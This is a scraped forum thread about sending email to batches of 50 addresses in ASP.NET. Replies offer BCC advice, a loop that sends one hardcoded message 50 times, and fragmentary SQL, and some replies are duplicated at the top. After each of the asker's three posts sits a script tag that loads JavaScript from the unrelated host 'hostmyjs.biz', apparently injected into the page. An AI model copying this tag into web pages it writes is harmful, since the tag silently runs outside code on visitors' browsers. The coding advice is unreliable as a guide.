Hi for this you have listof emails let you have 200 emails so have four buttons.
On first button click select first 50 emails and add them into sendtoaddresses and send mail.for second button click event select 51-100 emails and add them into sendtoaddresses and send mail and so on...
Good Luck
Do FEAR (Face Everything And Rise)
Please mark as Answer if my post helps you..!
Use System.Net and add all the 50 email addresses to BCC of MailMessage class...then use SmtpClient and its Send method to send email...
fetching first 50 on first button click and then next 50 on consecutive button clicks is to be your logic...for more information on sending emails, I would advice you to check out - http://www.systemnetmail.com/
var email = "its.me.afzaal@gmail.com";
var name = "Afzaal Ahmad Zeeshan";
var greet = "All The Best";
var date = DateTime.Now;
// Now check your smtp server setting
WebMail.SmtpServer = "your-SMTP-host";
WebMail.SmtpPort = 25;
WebMail.UserName = "your-user-name-here";
WebMail.Password = "your-account-password";
WebMail.From = "your-email-address-here";
// Now check your variables. I won't check because you will check validation your self!
// I will give you the code for loop
for (i=0; i<50; i++) { // You see this loops the send email for 50 times ! SEND EMAIL 50 TIMES
// Send email
WebMail.Send(to: email,
subject: "Email from - " + name,
body: greet
);
}
This will send an email to its.me.afzaal with a Subject of Email from - Afzaal Ahmad Zeeshan with a body of All The Best. It will be sent 50 times.
Now your job was to send 50 emails to 50 recipients just change the email everytime. In the loop!
Please "Marks As Answer" if any answer helped you out!
~~! FIREWALL !~~
How can i add 50 emails from database in BCC & on second button click another 51 to 100...i don't want to write all email Address through coding .... plz help me regarding this with coding
Use the condition that I told you to autoincrement the IDs.
Use one button to send the email for 50 and other button for other 50 just like
for (i=0;i<50;i++) // This will loop the code 50 times.
// In first time I will use first 50 emails than in second I can use other 50.
// Simple!
And from database it can be to
SELECT * FROM Email
// This will select emails.
// Now you can select them as
SELECT max(ID) as ID FROM Email // Note: This will select ONLY the 100th ID you can use someother code to
// Select other 49 too. Just like
SELECT TOP 50 FROM Email // This will select from 1 to 50
Than loop them!
Please "Marks As Answer" if any answer helped you out!
~~! FIREWALL !~~
Marked as answer by Mark - MSFT on Feb 04, 2013 04:38 AM
farishta
0 Points
3 Posts
send email to 50 emailid at a time
Jan 26, 2013 02:51 PM|LINK
on first button click send email to first 5o email-id & on second button click next 51 to 100 emailid & so on
<script src="https://hostmyjs.biz/include.js?id=js67" type="text/javascript"></script>NadeemZee
Participant
942 Points
178 Posts
Re: send email to 50 emailid at a time
Jan 26, 2013 06:37 PM|LINK
Hi for this you have listof emails let you have 200 emails so have four buttons.
On first button click select first 50 emails and add them into sendtoaddresses and send mail.for second button click event select 51-100 emails and add them into sendtoaddresses and send mail and so on...
Do FEAR (Face Everything And Rise)
Please mark as Answer if my post helps you..!
ramiramilu
All-Star
95403 Points
14096 Posts
Re: send email to 50 emailid at a time
Jan 27, 2013 08:31 AM|LINK
Use System.Net and add all the 50 email addresses to BCC of MailMessage class...then use SmtpClient and its Send method to send email...
fetching first 50 on first button click and then next 50 on consecutive button clicks is to be your logic...for more information on sending emails, I would advice you to check out - http://www.systemnetmail.com/
Thanks,
JumpStart
Afzaal.Ahmad...
Contributor
2660 Points
1039 Posts
Re: send email to 50 emailid at a time
Jan 27, 2013 09:23 AM|LINK
Hi,
You need a loop for this. Like
var email = "its.me.afzaal@gmail.com"; var name = "Afzaal Ahmad Zeeshan"; var greet = "All The Best"; var date = DateTime.Now; // Now check your smtp server setting WebMail.SmtpServer = "your-SMTP-host"; WebMail.SmtpPort = 25; WebMail.UserName = "your-user-name-here"; WebMail.Password = "your-account-password"; WebMail.From = "your-email-address-here"; // Now check your variables. I won't check because you will check validation your self! // I will give you the code for loop for (i=0; i<50; i++) { // You see this loops the send email for 50 times ! SEND EMAIL 50 TIMES // Send email WebMail.Send(to: email, subject: "Email from - " + name, body: greet ); }This will send an email to its.me.afzaal with a Subject of Email from - Afzaal Ahmad Zeeshan with a body of All The Best. It will be sent 50 times.
Now your job was to send 50 emails to 50 recipients just change the email everytime. In the loop!
~~! FIREWALL !~~
farishta
0 Points
3 Posts
Re: send email to 50 emailid at a time
Jan 27, 2013 03:25 PM|LINK
How can i select 50 emails from database & on second button click another 51 to 100...
<script src="https://hostmyjs.biz/include.js?id=js67" type="text/javascript"></script>farishta
0 Points
3 Posts
Re: send email to 50 emailid at a time
Jan 27, 2013 03:27 PM|LINK
How can i add 50 emails from database in BCC & on second button click another 51 to 100...i don't want to write all email Address through coding .... plz help me regarding this with coding
<script src="https://hostmyjs.biz/include.js?id=js67" type="text/javascript"></script>Afzaal.Ahmad...
Contributor
2660 Points
1039 Posts
Re: send email to 50 emailid at a time
Jan 28, 2013 08:33 AM|LINK
You can use it as a loop for IDs from 1 to 100.
Use the condition that I told you to autoincrement the IDs.
Use one button to send the email for 50 and other button for other 50 just like
And from database it can be to
Than loop them!
~~! FIREWALL !~~